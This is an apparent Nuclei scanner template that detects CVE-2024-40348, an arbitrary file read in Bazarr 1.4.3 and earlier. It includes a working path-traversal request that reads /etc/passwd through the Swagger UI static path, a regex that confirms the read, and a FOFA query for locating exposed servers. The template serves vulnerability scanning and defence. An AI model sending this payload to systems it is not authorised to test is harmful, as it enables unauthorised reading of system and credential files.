CVE-2024-40348: Bazarr < 1.4.3 - Arbitrary File Read

id: CVE-2024-40348

info:
  name: Bazarr < 1.4.3 - Arbitrary File Read
  author: s4e-io
  severity: high
  description: |
    Bazarr 1.4.3 and earlier versions have a arbitrary file read vulnerability.
  reference:
    - https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
    - https://www.bazarr.media/
    - https://github.com/bigb0x/CVE-2024-40348
  classification:
    epss-score: 0.91465
    epss-percentile: 0.99644
  metadata:
    verified: true
    max-request: 2
    vendor: morpheus65535
    product: bazarr
    fofa-query: title=="Bazarr" && icon_hash="-1983413099"
  tags: cve,cve2024,bazarr,lfi,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"

    matchers:
      - type: word
        part: body
        words:
          - "<title>Bazarr</title>"
          - 'content="Bazarr'
          - "window.Bazarr"
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220680931a9ad55358c974ef4c5e28ee6c7b50932df72c1c3abf67d172670ed40a7022100b6ee01d29fc7be96ea1f3c71c71f9a0ac40c93539159c1260b4bad67a8ac0f66:922c64590222798bb761d5b6d8e72950